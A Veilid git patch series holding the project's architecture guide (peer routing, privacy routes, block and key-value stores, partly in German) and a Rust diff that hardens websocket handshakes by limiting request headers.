- To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named find_node. Given any particular peer ID, the receiver of a find_node call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, then it's done, otherwise it calls find_node again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desire'd peer's dial info, has exhausted the entire network, or gives up. -

- -

User Privacy

- -

- In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. -

- -

- The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. -

- -

- Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. -

- -

- Each peer in the hop, including the initial peer, sends a route RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. -

- -

- Note that the routes are user oriented. They should be understood as a way to talk to a particular user's peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the user's identity with their peer's identity. You know that the user is somewhere on the network, but you don't know which IP address is their's, even if you do in fact have their peer's dial info stored in the routing table. -

- -

Block Store Revisited

- -

- As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. -

- -

- If a peer wishes to supply the block, it makes a supply_block RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. -

- -

- Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send supply_block messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. -

- -

- To retrieve a block that has been stored in the blockstore, a peer makes a find_block RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. -

- -

- Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. -

- -

- The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. -

- -

Key-Value Store, Revisited

- -

- The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: not peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. -

- -

- When a user wishes to store data under their key, they send a set_value RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles supply_block calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. -

- -

- Retrieval is similar to block store retrieval. The desired key is provided to a get_value call, which may return th value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. -

- -

- When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. -

- -

- The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. -

- -

- The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send watch_value RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent set_value calls, at which time the receiver sends the sending peer a value_changed RPC to push the new value. As with other RPC calls, watch_value needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, watch_value may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. -

- -

- TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? -

- -

Appendix 1: Dial Info and Signaling

- -

Appendix 2: RPC Listing

- - diff --git a/docs/guide/guide.md b/docs/guide/guide.md deleted file mode 100644 index 6c5d63b8..00000000 --- a/docs/guide/guide.md +++ /dev/null @@ -1,126 +0,0 @@ -# early α docs - -# please don't share publicly - -# Veilid Architecture Guide - -- [From Orbit](#from-orbit) -- [Bird's Eye View](#birds-eye-view) - - [Peer Network for Data Storage](#peer-network-for-data-storage) - - [Block Store](#block-store) - - [Key-Value Store](#key-value-store) - - [Structuring Data](#structuring-data) - - [Peer and User Identity](#peer-and-user-identity) -- [On The Ground](#on-the-ground) - - [Peer Network, Revisited](#peer-network-revisited) - - [User Privacy](#user-privacy) - - [Block Store, Revisited](#block-store-revisited) - - [Key-Value Store, Revisited](#key-value-store-revisited) - -## From Orbit - -The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. - -Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. - -The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. - -* * * - -## Bird's Eye View - -Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. - -### Peer Network for Data Storage - -The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. - -The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. - -### Block Store - -File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. - -### Key-Value Store - -Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. - -For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. - -KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. - -### Structuring Data - -The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different _versions_ of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. - -Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. - -Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. - -### Peer and User Identity - -Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. - -User identity is a slightly richer notion. Users, that is to say, _people_, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. - -To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. - -* * * - -## On The Ground - -The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. - -### Peer Network, Revisited - -First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. - -When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. - -To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named `find_node`. Given any particular peer ID, the receiver of a `find_node` call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, then it's done, otherwise it calls `find_node` again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desired peer's dial info, has exhausted the entire network, or gives up. - -### User Privacy - -In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. - -The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. - -Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. - -Each peer in the hop, including the initial peer, sends a `route` RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. - -Note that the routes are _user_ oriented. They should be understood as a way to talk to a particular _user's_ peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the _user's_ identity with their _peer's_ identity. You know that the user is somewhere on the network, but you don't know which IP address is theirs, even if you do in fact have their peer's dial info stored in the routing table. - -### Block Store Revisited - -As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. - -If a peer wishes to supply the block, it makes a `supply_block` RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. - -Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send `supply_block` messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. - -To retrieve a block that has been stored in the blockstore, a peer makes a `find_block` RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. - -Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. - -The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. - -### Key-Value Store, Revisited - -The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: _not_ peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. - -When a user wishes to store data under their key, they send a `set_value` RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles `supply_block` calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. - -Retrieval is similar to block store retrieval. The desired key is provided to a `get_value` call, which may return the value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. - -When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. - -The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. - -The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send `watch_value` RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent `set_value` calls, at which time the receiver sends the sending peer a `value_changed` RPC to push the new value. As with other RPC calls, `watch_value` needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, `watch_value` may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. - -TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? - -## Appendix 1: Dial Info and Signaling - -## Appendix 2: RPC Listing diff --git a/veilid-core/src/network_manager/native/protocol/ws.rs b/veilid-core/src/network_manager/native/protocol/ws.rs index cc864882..80153ba4 100644 --- a/veilid-core/src/network_manager/native/protocol/ws.rs +++ b/veilid-core/src/network_manager/native/protocol/ws.rs @@ -1,10 +1,22 @@ use super::*; use async_tls::TlsConnector; +use async_tungstenite::tungstenite::handshake::server::{ + Callback, ErrorResponse, Request, Response, +}; +use async_tungstenite::tungstenite::http::StatusCode; use async_tungstenite::tungstenite::protocol::Message; -use async_tungstenite::{accept_async, client_async, WebSocketStream}; +use async_tungstenite::{accept_hdr_async, client_async, WebSocketStream}; use futures_util::{AsyncRead, AsyncWrite, SinkExt}; use sockets::*; + +/// Maximum number of websocket request headers to permit +const MAX_WS_HEADERS: usize = 24; +/// Maximum size of any one specific websocket header +const MAX_WS_HEADER_LENGTH: usize = 512; +/// Maximum total size of headers and request including newlines +const MAX_WS_BEFORE_BODY: usize = 2048; + cfg_if! { if #[cfg(feature="rt-async-std")] { pub type WebsocketNetworkConnectionWSS = @@ -180,29 +192,57 @@ impl WebsocketProtocolHandler { log_net!("WS: on_accept_async: enter"); let request_path_len = self.arc.request_path.len() + 2; - let mut peekbuf: Vec = vec![0u8; request_path_len]; - if let Err(_) = timeout( + let mut peek_buf = [0u8; MAX_WS_BEFORE_BODY]; + let peek_len = match timeout( self.arc.connection_initial_timeout_ms, - ps.peek_exact(&mut peekbuf), + ps.peek(&mut peek_buf), ) .await { + Err(_) => { + // Timeout + return Ok(None); + } + Ok(Err(_)) => { + // Peek error + return Ok(None); + } + Ok(Ok(v)) => v, + }; + + // If we can't peek at least our request path, then fail out + if peek_len < request_path_len { return Ok(None); } // Check for websocket path - let matches_path = &peekbuf[0..request_path_len - 2] == self.arc.request_path.as_slice() - && (peekbuf[request_path_len - 2] == b' ' - || (peekbuf[request_path_len - 2] == b'/' - && peekbuf[request_path_len - 1] == b' ')); + let matches_path = &peek_buf[0..request_path_len - 2] == self.arc.request_path.as_slice() + && (peek_buf[request_path_len - 2] == b' ' + || (peek_buf[request_path_len - 2] == b'/' + && peek_buf[request_path_len - 1] == b' ')); if !matches_path { return Ok(None); } - let ws_stream = accept_async(ps) - .await - .map_err(|e| io_error_other!(format!("failed websockets handshake: {}", e)))?; + // Check for double-CRLF indicating end of headers + // if we don't find the end of the headers within MAX_WS_BEFORE_BODY + // then we should bail, as this could be an attack or at best, something malformed + // Yes, this restricts our handling to CRLF-conforming HTTP implementations + // This check could be loosened if necessary, but until we have a reason to do so + // a stricter interpretation of HTTP is possible and desirable to reduce attack surface + + if peek_buf.windows(4).position(|w| w == b"\r\n\r\n").is_none() { + return Ok(None); + } + + let ws_stream = match accept_hdr_async(ps, self.clone()).await { + Ok(v) => v, + Err(e) => { + log_net!(debug "failed websockets handshake: {}", e); + return Ok(None); + } + }; // Wrap the websocket in a NetworkConnection and register it let protocol_type = if self.arc.tls { @@ -292,6 +332,24 @@ impl WebsocketProtocolHandler { } } +impl Callback for WebsocketProtocolHandler { + fn on_request(self, request: &Request, response: Response) -> Result { + // Cap the number of headers total and limit the size of all headers + if request.headers().len() > MAX_WS_HEADERS + || request + .headers() + .iter() + .find(|h| (h.0.as_str().len() + h.1.as_bytes().len()) > MAX_WS_HEADER_LENGTH) + .is_some() + { + let mut error_response = ErrorResponse::new(None); + *error_response.status_mut() = StatusCode::NOT_FOUND; + return Err(error_response); + } + Ok(response) + } +} + impl ProtocolAcceptHandler for WebsocketProtocolHandler { fn on_accept( &self, From 4999095bb3f327f52070636ab3991b8113c10a34 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 13:48:24 -0400 Subject: [PATCH 49/86] consolidate docs, add security poc --- doc/guide/guide-DE.md | 128 +++++++++ doc/guide/guide.css | 28 ++ doc/guide/guide.html | 255 ++++++++++++++++++ doc/guide/guide.md | 126 +++++++++ .../poc/large-websocket-key-v0.2.2.py | 7 + 5 files changed, 544 insertions(+) create mode 100644 doc/guide/guide-DE.md create mode 100644 doc/guide/guide.css create mode 100644 doc/guide/guide.html create mode 100644 doc/guide/guide.md create mode 100644 doc/security/poc/large-websocket-key-v0.2.2.py diff --git a/doc/guide/guide-DE.md b/doc/guide/guide-DE.md new file mode 100644 index 00000000..cc89e262 --- /dev/null +++ b/doc/guide/guide-DE.md @@ -0,0 +1,128 @@ +# Frühe A Dokumente + +# Bitte nicht öffentlich teilen + +# Veilid Architektur Leitfaden + +- [Aus der Umlaufbahn](#aus-der-umlaufbahn) +- [Aus der Vogelperspektive](#vogelperspektive) + - [Peer Netzwerk zum Datenspeichern](#peer_netzwerk_zur_datenspeicherung) + - [Block Speicher](#block-speicher) + - [Key-Value Speicher](#key-value-speicher) + - [Datenstrukturierung](#datenstrukturierung) + - [Peer- und Benutzeridentät](#peer-und-benutzeridentität) +- [Am Boden](#am_boden) + - [Peer Netzwerk im Detail](#peer-netzwerk-im-detail) + - [Benutzerprivatsphäre](#benutzerprivatsphäre) + - [Block Speicher im Detaail](#block-store-im-detail) + - [Key-Value Speicher im Detail](#key-value-speicher-im-detail) + +## Aus der Umlaufbahn + +Als Erstes wird die Frage behandelt "Was ist Veiled?". Die allgemeinste Beschreibung ist, dass Veilid ein Peer-to-Peer-Netzwerk zum Teilen von verschiedenen Arten von Daten ist. + +Veilid wurde mit der Idee im Hinterkopf entworfen, dass jeder Benutzer seine eigenen Inhalte im Netzwerk speichern kann. Aber es ist auch möglich diese mit anderen ausgewählten Leuten zu teilen oder (wenn gewollt) auch mit gesamten Rest der Welt. + +Der primäre Zweck des Veild Netzwerks ist es Infrastruktur für eine besondere Art von geteilten Daten zur Verfügung zu stellen: Social Medien in verschiedensten Arten. Dies umfasst leichtgewichtige Inhalte wie Twitters/Xs Tweets oder Mastodons Toots, mittleschwere Inhalte wie Bilder oder Lieder und schwergewichtige Inhalte wie Videos. Es ist eben so beabsichtigt Meta-Inhalte (wie persönliche Feeds, Antworten, private Nachrichten und so weiter) auf Basis von Veilid laufen zu lassen. + +* * * + +## Vogelperspektive + +Nachdem wir nun wissen was Veilid ist und was in Veilid abgelegt werden sollte, ist es nun an der Zeit die Teile zu behandeln, die erklären wie Veilid dies ermöglicht. Natürlich nicht super detailiert (das kommt später), sondern her auf eine mittleren Detailgrad so dass alles auf einmal zur gleichen Zeit vom Leser verstanden werden kann. + +### Peer Netzwerk zur Datenspeicherung + +Auf unterster Ebene ist Veilid ein Netzwerk aus "Peers", die miteinander über das Internet kommunizieren. Peers senden sich gegenseitig Nachrichten (sogenannte Remote Procedure Calls) bezüglich der im Netzwerk ge- bzw. zu speichernden Daten und auch Nachrichten über das Netzwerk selbst. Zum Beispiel, kann eine Peer einen Anderen nach einer Datei fragen oder nach Informationen fragen, welche anderen Peers in Netzwerk bekannt sind/existieren. + +Die Daten, die im Netzwerk gespeichert sind, werden in zwei Arten von Daten unterteilt: Datei-artige Daten, die üblicherweise groß sind und textartige Daten, die üblicherweise klein sind. Jede Art wird in einem eigenen Untersystem gespeichert, dass das so gestaltet wurde, dass es für diese Art von Daten optimal ist. + +### Block Speicher + +Datei-artige Inhalte werden in einem inhaltsaddressierbaren Block Speicher abgelegt. Jeder Block ist einfach ein Haufen (Blob) aus irgendwelchen Daten (z.B. ein JPEG oder ein MP4) beliebiger Größe. Die Prüfsumme (Hash) eines Block dient als eindeutige ID für diesen Block und kann von anderen Peers benutzt werden, um diesen Block abzufragen. Technisch gesehen können auch textuelle Daten als Block gespeichert werden und das sollte genau dann passieren, wenn die textuelle Daten als eine Art Dokument oder Datei eines bestimmten Typs verstanden werden. + +### Key-Value Speicher + +Kleinere und kurzlebigere textuelle Inhalte werden in einem Key-Value Speicher gespeichert (KV Speicher).Sachen wie z.B. Status Updates, Blogeinträge oder Benutzerbeschreibungen usw. sind alle dafür gedachte in diesem Teil des Datenspeichers gespeichert zu werden. KV Speicher Daten sind nicht einfach "im Veild Netzwerk", sondern gehören Benutzern und (werden auch von diesen gesteuert/kontrolliert). Sie werden über einen beliebigen vom Eigentümer der Daten gewählten Namen identifiziert. Jede Gruppe von Benutzern kann Daten hinzufügen, aber man kann nur die Daten ändern, die man selbst hinzugefügt hat. + +Nehmen wir 2 beispielhafte Benutzer Boone und Marquette: Boones Benutzerbeschreibung und ihren Blogpost mit dem Titel "Hi, ich bin Bonne!" sind 2 Sachen, die dem selben Benutzer gehören, aber unterschiedliche ID haben. Boones Benutzerbeschreibung und Marquettes Benutzerbeschreibung sind 2 Sachen, die zwei unterschiedlichen Benutzer gehören, aber dieselbe ID haben. + +KV Speicher Daten sind zustandsbehaftet, so dass Änderungen an ihnen vorgenommen werden könen. Boones Benutzerbeschreibung z.B. wird sicher nicht unverändert bleiben, sondern sich eher im Laufe der Zeit ändern, wenn er z.B. den Job wechselt oder sich neue Hobbies aneignet usw.. Die Zustandsbehaftung zusammen mit den beliebigen nutzer-definierten Identifiern (anstatt Prüfsummen auf Inhalte (Content Hashes)) führt dazu,dass man Boones Benutzerbeschreibung als abstrakte Sache betrachten kann und sich für Update auf diese registrieren kann. + +### Datenstrukturierung + +Mit der Verbindung aus Block Speicher und Key_Value Speicher ist es mögliche auch komplexe Konzepte zu kombinieren. Ein Song könnte z.B. an zwei Orten in Veilid verteilt abgelegt sein. Der Block Speicher würde dabei die Rohdaten speichern und der Key-Value Speicher würde eine Beschreibung zur Idee des Song abspeichern. Diese wäre vielleicht in Form eines JSON Objekts mit Metadaten über den Song wie dem Titel, den Komponisten, das Datum, die Codierungsinformationen usw. ebenso wie die ID der Daten im Block Speicher. Wir können dann auch verschiedene Versionen der JSON Daten abspeichern, wenn das Stück aktualisiert, verbessert, überarbeitet oder was auch immer wird. Jede Version würde auf einen anderen Block im Block Speicher verweisen. Es ist immer noch "derselbe Song" aus konzeptueller Sicht und somit hat er auch dieselbe ID im KV Speicher, aber die Rohbits, die damit verbunden sind, sind für jede Version unterschiedlich. + +Ein anderes Beispiel (wenn auch mit einer noch etwas schwächeren Verbindung zum Block Speicher) wäre die Beschreibung eines Profilbildes. "Marquettes Profilbild" ist eine sehr abstrakte Beschreibung und genau genommen sind können sich die Bits, die damit zusammenhängen, im Laufe der Zeit stark variieren. So könnte es nicht nur verschiedene Versionen des Bildes, sondern auch komplett andere Bilder geben. Vielleicht ist es an einem Tage eine Foto von Marquette und am nächsten Tag ist es das Foto einer Blume. + +In Soziale Medien finden sich viele Beispiel für solche Konzepte: Freundeslisten, Blocklisten, Indizes von Postings und Favoriten-Listen. Die sind alle zustandsbehaftete Beschreibungen einer bestimmten Art: Eine stabile Referenz auf eine Sache, aber der genaue Inhalt der Sache verändert sich im Laufe der Zeit. Das ist genau das, was wir im KV Speicher ablegen wollen und sich somit vom Block Store abgrenzt, auch wenn diese Daten auf die Inhalte des Block Store referenzieren. + +### Peer- und Benutzeridentität + +Es gibt zwei Darstellungen von Identitäten im Netzwerk: Die Peer- und die Benutzeridentität. Die Peeridentität ist einfach genug: Jeder Peer hat ein kryptografisches Schlüsselpaar, das er benutzt, um mit anderen 